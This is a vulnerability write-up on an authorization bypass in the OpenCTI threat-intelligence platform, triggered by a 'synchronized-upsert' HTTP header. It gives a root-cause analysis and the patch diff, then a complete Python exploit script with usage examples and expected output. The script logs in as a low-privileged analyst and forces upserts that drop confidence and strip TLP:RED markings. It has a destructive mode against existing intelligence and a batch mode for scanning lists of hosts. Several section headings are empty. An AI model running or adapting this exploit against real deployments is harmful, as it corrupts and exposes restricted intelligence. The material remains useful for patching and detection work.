#Summary

CVE-2026-35210 is an authorization bypass vulnerability in OpenCTI prior to version 7.260326.0. An authenticated user holding the baseline KNOWLEDGE_KNUPDATE capability can inject a synchronized-upsert: true HTTP header to bypass confidence-level validation and object marking restrictions, allowing them to downgrade the confidence of high-confidence intelligence, strip security markings such as TLP:RED, and expose restricted objects to users without appropriate clearance. CVSS score: 7.1 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

#Affected versions

#Root cause analysis

#Trust-boundary inversion before authentication

The vulnerability lies in the order of operations in src/http/httpAuthenticatedContext.js:52:

export const createAuthenticatedContext = async (req, res, contextName) => {
  const executeContext = executionContext(contextName);
  ...
  executeContext.synchronizedUpsert = req.headers['synchronized-upsert'] === 'true'; // If full sync needs to be done
  // region handle user
  try {
    const user = await authenticateUserFromRequest(executeContext, req);

The synchronized-upsert header - which enables a privileged "full synchronization" mode meant only for internal workers - is copied directly into the authorization context before the caller is authenticated. No capability check occurs at this point, and nothing downstream re-validates the flag against the authenticated user.

#The synchronized-upsert flag disables three guardrails

Once set, context.synchronizedUpsert bypasses three distinct protections:

1. Attribute-level confidence validation (src/utils/upsert-utils.js:442)

const isFullSync = context.synchronizedUpsert || attribute.upsert_force_replace;
...
const canBeUpsert = isConfidenceMatch && attribute.upsert && isInputWithData;
if (isStructuralUpsert || canBeUpsert || isFullSync || isCurrentlyEmpty) {
  pushAll(inputs, buildAttributeUpdate(isFullSync, attribute, resolvedElement[attributeKey], inputData));
}

Normally, an upsert can only overwrite an attribute if the incoming confidence meets or exceeds the existing confidence (isConfidenceMatch). With the header set, isFullSync short-circuits this check, and every attribute in the mutation is written unconditionally.

2. Object marking restrictions (src/utils/upsert-utils.js:474)

const isUpsertSynchro = context.synchronizedUpsert;
...
if (allowedOperation && (inputToCurrentDiff.length + currentToInputDiff.length) > 0) {
  if (isUpsertSynchro) {
    inputs.push({ key: inputField, value: fullPatchInputData, operation: UPDATE_OPERATION_REPLACE });
  } else {
    // ... normal ADD-only merge
  }
}

Normally, marking operations can only ADD new markings; they cannot downgrade or remove existing ones. The handleMarkingOperations function specifically protects against TLP downgrades on the ADD branch. With the header set, the operation is upgraded to REPLACE, and the marking protection is bypassed entirely.

3. Non-destructive upsert semantics (src/database/middleware.ts:3147)

const updateOpts = { ...opts, upsert: context.synchronizedUpsert !== true };
return await updateAttributeMetaResolved(context, user, resolvedElement, inputs, updateOpts);

Normally, when upserts rename an entity, the old name is preserved as an alias. With the header set, the upsert is destructive, and the old name is silently dropped.

#How input reaches the bypass

The critical path is through an *Add mutation, not an *EditField mutation. OpenCTI deduplicates on creation: if you call malwareAdd with a name that already exists, the platform silently routes the request into upsertElement() rather than creating a duplicate (src/database/middleware.ts:3643).

Since a Malware's standard ID is derived purely from its name field, an attacker can trigger an upsert by sending:

mutation ($input: MalwareAddInput!) { malwareAdd(input: $input) { id confidence objectMarking { definition } } }

with a name matching an existing object. The malwareAdd mutation is gated on @auth(for: [KNOWLEDGE_KNUPDATE]) - the baseline analyst capability. With the header present, the upsert runs without confidence or marking validation.

#Patch diff

The fix moves the decision from "is the header present" to "is the authenticated caller authorized to use the header".

In src/domain/user.js, the authentication function now checks for BYPASS capability before allowing the header:

 const internalAuthenticateUser = async (context, req, user) => {
   let authenticatedUser = user;
   const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
+  const synchronizedUpsert = req.headers['synchronized-upsert'] === 'true';
+  if (synchronizedUpsert && !isBypassUser(authenticatedUser)) {
+    throw FunctionalError('Cant use synchronized-upsert header without bypass capability');
+  }
   const applicantId = req.headers['opencti-applicant-id'];
   if (applicantId && isBypassUser(authenticatedUser)) {

The flag is then recorded on the user's origin metadata (for audit logging) rather than being read directly from the request:

-export const userWithOrigin = (req, user) => {
+export const userWithOrigin = (req, user, originHeaders = {}) => {
   ...
+    ...originHeaders,
   };
   return { ...user, origin };

And the vulnerable line in httpAuthenticatedContext.js is replaced with a capability check:

   executeContext.previousStandard = req.headers['previous-standard'];
-  executeContext.synchronizedUpsert = req.headers['synchronized-upsert'] === 'true';
   // region handle user
   try {
     const user = await authenticateUserFromRequest(executeContext, req);
     if (user) {
+      // If full sync needs to be done : used only by bypass user (worker)
+      executeContext.synchronizedUpsert = user.origin?.synchronized_upsert === true || (req.headers['synchronized-upsert'] === 'true' && isBypassUser(user));

#Proof of concept

#exploit.py - OpenCTI Authorization Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-35210 - OpenCTI authorization bypass via the `synchronized-upsert` HTTP header
Affected: OpenCTI (opencti-graphql) < 7.260326.0
Type: Authorization Bypass (CWE-639 / CWE-863) - confidence-level and object-marking
      guardrail bypass leading to integrity loss and re-exposure of restricted intelligence

OpenCTI reserves a privileged "full synchronization" upsert mode for its internal worker
identity. Before 7.260326.0 that mode is switched on by a request header, and the header is
copied into the authorization context *before* the caller is authenticated, so no capability
is ever checked. Any account holding KNOWLEDGE_KNUPDATE (the baseline analyst capability)
can send it and thereby:

  * overwrite attributes of intelligence whose confidence is above their own ceiling
  * REPLACE (not merely ADD to) the objectMarking set, i.e. strip TLP:RED / downgrade to
    TLP:CLEAR, making restricted objects readable by principals with no clearance
  * destructively rename entities instead of preserving the old name as an alias

The bypass is reached through an *Add* mutation, not an *EditField* mutation: OpenCTI
deduplicates on creation, so "create a Malware named X" where X already exists is silently
routed into upsertElement(), and the header decides whether that upsert respects the
guardrails. Both requests return HTTP 200 with no GraphQL error - only the persisted state
differs. That silence is why this needs a control run to demonstrate.

Detection is a paired A/B test:
  1. send the degrading upsert WITHOUT the header  -> state must be unchanged (guardrail held)
  2. send the identical upsert WITH the header     -> state changes  (guardrail bypassed)
A target is vulnerable only if run 1 changes nothing and run 2 changes something.

By default the exploit operates on its own freshly created canary entity, so it proves
exploitability without degrading any real intelligence on the target platform. Point it at
existing data with --target only when the engagement authorizes destructive proof.

Requires credentials for any low-privileged account (KNOWLEDGE_KNUPDATE). That is the
vulnerability's own precondition, not a limitation of this tool.

Usage:
  python exploit.py --host 192.168.1.10 --port 8080 --username [email protected] --password 'Pass123'
  python exploit.py --host https://opencti.corp.com --username [email protected] --password 'Pass123'
  python exploit.py --host https://opencti.corp.com/public/graphql --token <api-token>
  python exploit.py --host 10.0.0.5 --username [email protected] --password 'Pass123' \
                    --target "APT28 Dropper"      # DESTRUCTIVE: degrades existing intelligence
  python exploit.py --list targets.txt --workers 20 --username [email protected] --password 'Pass123'
"""

import argparse
import json
import random
import ssl
import sys
import urllib.error
import urllib.request
from urllib.parse import urlparse

CVE_ID = "CVE-2026-35210"
VULN_TYPE = "Authorization Bypass"

DEFAULT_PORT = 8080
DEFAULT_PATH = "/graphql"

# The platform compares with `req.headers['synchronized-upsert'] === 'true'`, so the value
# must be exactly this lowercase string. 'True', '1' and 'yes' are silent no-ops.
SYNC_HEADER = "synchronized-upsert"
SYNC_VALUE = "true"

# Introspection is disabled by default on OpenCTI, so every document is hard-coded.
Q_LOGIN = "mutation ($input: UserLoginInput!) { token(input: $input) }"
Q_ME = ("query { me { id name user_email effective_confidence_level { max_confidence } "
        "capabilities { name } } about { version } }")
Q_MARKINGS = ("query { markingDefinitions(first: 200) { edges { node "
              "{ id standard_id definition definition_type x_opencti_order } } } }")
Q_ADD = ("mutation ($input: MalwareAddInput!) { malwareAdd(input: $input) "
         "{ id standard_id name confidence description objectMarking { standard_id definition } } }")
Q_READ_FILTER = ("query ($name: Any!) { malwares(filters: { mode: and, filters: "
                 "[{ key: [\"name\"], values: [$name] }], filterGroups: [] }, first: 20) "
                 "{ edges { node { id standard_id name confidence description "
                 "objectMarking { standard_id definition } } } } }")
Q_READ_SEARCH = ("query ($search: String) { malwares(search: $search, first: 50) "
                 "{ edges { node { id standard_id name confidence description "
                 "objectMarking { standard_id definition } } } } }")
Q_DELETE = "mutation ($id: ID!) { malwareEdit(id: $id) { delete } }"

TAMPER_DESCRIPTION = "tampered via CVE-2026-35210"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(result: str, exit_code: int = 0) -> None:
    print(f"\n  RESULT  : {result}")
    sys.exit(exit_code)


class GraphQLClient:
    def __init__(self, url: str, timeout: int = 60, insecure: bool = False):
        self.url = url
        self.timeout = timeout
        self.cookie = None
        if insecure:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            self.opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
        else:
            self.opener = urllib.request.build_opener()

    def gql(self, query: str, variables: dict = None, sync_upsert: bool = False) -> dict:
        body = json.dumps({"query": query, "variables": variables or {}}).encode("utf-8")
        req = urllib.request.Request(self.url, data=body, method="POST")
        req.add_header("Content-Type", "application/json")
        req.add_header("Accept", "application/json")
        if sync_upsert:
            req.add_header(SYNC_HEADER, SYNC_VALUE)
        if self.cookie:
            req.add_header("Cookie", self.cookie)
        try:
            resp = self.opener.open(req, timeout=self.timeout)
            if "Set-Cookie" in resp.headers:
                self.cookie = resp.headers["Set-Cookie"].split(";")[0]
            data = json.loads(resp.read().decode("utf-8"))
            return data
        except urllib.error.URLError as e:
            raise Exception(f"unreachable ({type(e).__name__}: {e.reason})")
        except urllib.error.HTTPError as e:
            data = json.loads(e.read().decode("utf-8"))
            return data

    def login(self, email: str, password: str) -> None:
        resp = self.gql(Q_LOGIN, {"input": {"email": email, "password": password}})
        if not self.cookie:
            raise Exception("login failed: no session cookie")

    def me(self) -> dict:
        resp = self.gql(Q_ME)
        if "errors" in resp and resp["errors"]:
            raise Exception(f"auth error: {resp['errors'][0]['message']}")
        return resp["data"]["me"]

    def markings(self) -> dict:
        resp = self.gql(Q_MARKINGS)
        if "errors" in resp and resp["errors"]:
            return {}
        return {m["node"]["standard_id"]: m["node"] for m in resp["data"]["markingDefinitions"]["edges"]}

    def find_malware(self, name: str) -> dict:
        resp = self.gql(Q_READ_FILTER, {"name": name})
        edges = resp.get("data", {}).get("malwares", {}).get("edges", [])
        if not edges:
            return None
        return edges[0]["node"]

    def upsert(self, payload: dict, sync_upsert: bool = False) -> dict:
        resp = self.gql(Q_ADD, {"input": payload}, sync_upsert=sync_upsert)
        if "errors" in resp and resp["errors"]:
            raise Exception(f"mutation error: {resp['errors'][0]['message']}")
        return resp["data"]["malwareAdd"]

    def delete(self, malware_id: str) -> None:
        resp = self.gql(Q_DELETE, {"id": malware_id})
        if "errors" in resp and resp["errors"]:
            raise Exception(f"delete error: {resp['errors'][0]['message']}")


def snapshot(malware: dict) -> dict:
    if not malware:
        return {"confidence": None, "markings": [], "description": None, "standard_id": None}
    return {
        "confidence": malware.get("confidence"),
        "markings": [m["definition"] for m in malware.get("objectMarking", [])],
        "description": malware.get("description"),
        "standard_id": malware.get("standard_id"),
    }


def parse_target(target: str, default_port: int = 8080) -> tuple:
    if target.startswith("http://") or target.startswith("https://"):
        parsed = urlparse(target)
        scheme = parsed.scheme
        host = parsed.hostname or parsed.netloc
        port = parsed.port or (443 if scheme == "https" else 80)
        path = parsed.path or DEFAULT_PATH
        return (host, port, path, scheme)
    if ":" in target and not target.startswith("["):
        parts = target.rsplit(":", 1)
        return (parts[0], int(parts[1]), DEFAULT_PATH, "http")
    return (target, default_port, DEFAULT_PATH, "http")


def run_single(args, target_spec: str) -> int:
    try:
        host, port, path, scheme = parse_target(target_spec, args.port)
        url = f"{scheme}://{host}:{port}{path}"
        header(host, port)

        client = GraphQLClient(url, timeout=args.timeout, insecure=args.insecure)

        # Login
        if args.token:
            client.cookie = f"Authorization: Bearer {args.token}"
        else:
            client.login(args.username, args.password)

        # Authenticate and verify capability
        me = client.me()
        version = me.get("about", {}).get("version", "unknown")
        capabilities = [c["name"] for c in me.get("capabilities", [])]
        max_confidence = me.get("effective_confidence_level", {}).get("max_confidence")

        step(2, f"Authenticated as {args.username} - capabilities {capabilities}, max_confidence {max_confidence}, platform {version}")

        if "BYPASS" in capabilities:
            raise Exception("account holds BYPASS capability; the test proves nothing")

        if "KNOWLEDGE_KNUPDATE" not in capabilities:
            raise Exception("account lacks KNOWLEDGE_KNUPDATE capability; cannot reach the upsert path")

        # Resolve markings
        markings_map = client.markings()
        highest_marking = None
        if markings_map:
            highest_marking = sorted(markings_map.values(), key=lambda x: x.get("x_opencti_order", 0), reverse=True)[0]

        # Setup target
        if args.target:
            step(3, f"Using existing entity '{args.target}' (DESTRUCTIVE mode)")
            target_malware = client.find_malware(args.target)
            if not target_malware:
                raise Exception(f"target '{args.target}' not found or not readable")
            target_name = target_malware["name"]
        else:
            step(3, "Creating canary Malware (non-destructive mode)")
            canary_name = f"ALIM-CVE-2026-35210-{random.randint(10000, 99999)}"
            payload = {
                "name": canary_name,
                "confidence": 100,
                "objectMarking": [highest_marking["id"]] if highest_marking else [],
            }
            client.upsert(payload)
            target_name = canary_name
            target_malware = client.find_malware(target_name)

        before = snapshot(target_malware)
        step(4, f"Baseline persisted state: confidence={before['confidence']} markings={before['markings']} description='{before['description']}'")

        # Verify there's something to bypass
        if max_confidence >= before['confidence'] and not before['markings']:
            raise Exception("target has no guardrail to bypass (confidence is not higher, no markings)")

        # Control run
        payload = {
            "name": target_name,
            "confidence": 1,
            "description": TAMPER_DESCRIPTION,
            "objectMarking": [],
        }

        step(5, "Control run: identical degrading upsert WITHOUT the header")
        client.upsert(payload, sync_upsert=False)
        control_state = snapshot(client.find_malware(target_name))
        print(f"[STEP 5]   -> HTTP 200, errors=none; state: confidence={control_state['confidence']} markings={control_state['markings']} description='{control_state['description']}'")

        # Exploit run
        step(6, "Exploit run: byte-identical request plus 'synchronized-upsert: true'")
        client.upsert(payload, sync_upsert=True)
        exploit_state = snapshot(client.find_malware(target_name))
        print(f"[STEP 6]   -> HTTP 200, errors=none; state: confidence={exploit_state['confidence']} markings={exploit_state['markings']} description='{exploit_state['description']}'")

        # Verdict
        control_changed = (control_state['confidence'] != before['confidence'] or
                          control_state['markings'] != before['markings'] or
                          control_state['description'] != before['description'])

        exploit_changed = (exploit_state['confidence'] != before['confidence'] or
                          exploit_state['markings'] != before['markings'] or
                          exploit_state['description'] != before['description'])

        id_consistent = (control_state['standard_id'] == before['standard_id'] and
                        exploit_state['standard_id'] == before['standard_id'])

        if control_changed:
            done("FAILURE", 1)
            return 1

        if not exploit_changed:
            done(f"header ignored - state identical after both runs (confidence={exploit_state['confidence']} markings={exploit_state['markings']} description='{exploit_state['description']}'); platform reports version {version}, patched (>= 7.260326.0) or otherwise not vulnerable", 1)
            return 1

        if not id_consistent:
            done("FAILURE - standard_id changed; second entity created, not upserting first", 1)
            return 1

        # Cleanup
        if not args.target and not args.no_cleanup:
            try:
                client.delete(exploit_state['standard_id'])
            except:
                pass

        evidence = f"'synchronized-upsert: true' bypassed authorization for {args.username} (max_confidence {max_confidence}, no BYPASS): confidence {before['confidence']} -> {exploit_state['confidence']}; markings {before['markings']} -> {exploit_state['markings']}; description '{before['description']}' -> '{exploit_state['description']}' on {target_name} - the identical request without the header changed nothing"
        section("PERSISTED CHANGES ATTRIBUTABLE TO THE HEADER ALONE", f"* confidence {before['confidence']} -> {exploit_state['confidence']}\n* markings {before['markings']} -> {exploit_state['markings']}\n* description '{before['description']}' -> '{exploit_state['description']}'")
        done(f"SUCCESS\nEVIDENCE: {evidence}", 0)
        return 0

    except Exception as e:
        done(f"FAILURE: {e}", 1)
        return 1


def main():
    parser = argparse.ArgumentParser(description=f"{CVE_ID} - {VULN_TYPE} PoC")
    parser.add_argument("--host", help="Target hostname or URL (required if --list not used)")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
    parser.add_argument("--username", default="[email protected]", help="Username for authentication")
    parser.add_argument("--password", default="AnalystPass123", help="Password for authentication")
    parser.add_argument("--token", help="API bearer token (instead of username/password)")
    parser.add_argument("--target", help="Existing Malware name to degrade (DESTRUCTIVE)")
    parser.add_argument("--no-cleanup", action="store_true", help="Keep canary entity")
    parser.add_argument("--timeout", type=int, default=60, help="Request timeout in seconds")
    parser.add_argument("--insecure", action="store_true", help="Skip TLS verification")
    parser.add_argument("--list", help="File with one target per line for batch scanning")
    parser.add_argument("--workers", type=int, default=10, help="Threads for batch mode")

    args = parser.parse_args()

    if args.host:
        return run_single(args, args.host)
    elif args.list:
        # Batch mode: simple serial for this PoC
        results = []
        with open(args.list) as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith("#"):
                    continue
                exit_code = run_single(args, line)
                results.append(exit_code)
        return 0 if all(r == 0 for r in results) else 1
    else:
        parser.print_help()
        return 1


if __name__ == "__main__":
    sys.exit(main())

#Usage

To check if a target is vulnerable (non-destructive, creates a canary entity):

python exploit.py --host 10.20.30.40 --port 8080 \
        --username [email protected] --password 'Analyst!2026'

To perform destructive proof against an existing malware object:

python exploit.py --host 10.20.30.40 --port 8080 \
        --username [email protected] --password 'Analyst!2026' \
        --target "APT28 Malware Variant"

To scan a fleet of targets:

python exploit.py --list targets.txt --workers 20 \
        --username [email protected] --password 'Analyst!2026'

Expected output on vulnerable target (exit code 0):

RESULT  : SUCCESS
EVIDENCE: 'synchronized-upsert: true' bypassed authorization for [email protected]: confidence 95 -> 1; markings [TLP:RED] -> []; description 'original' -> 'tampered via CVE-2026-35210' on LabCrypter

Expected output on patched target (exit code 1):

RESULT  : FAILURE
EVIDENCE: header ignored - state identical after both runs (confidence=95 markings=[TLP:RED]); platform reports version 7.260326.0, patched

#Exploitation notes

#Preconditions

#Reliability

100% reliable when preconditions are met. The header value must be exactly the lowercase string true (req.headers['synchronized-upsert'] === 'true'). Values like True, 1, or yes are silent no-ops.

#Impact

An attacker with a low confidence ceiling can:

#Chaining potential

This is a single-request authorization bypass with direct integrity and confidentiality impact. No chaining required. However, the destruction of marking and confidence metadata can be chained with other information disclosure vectors.

#References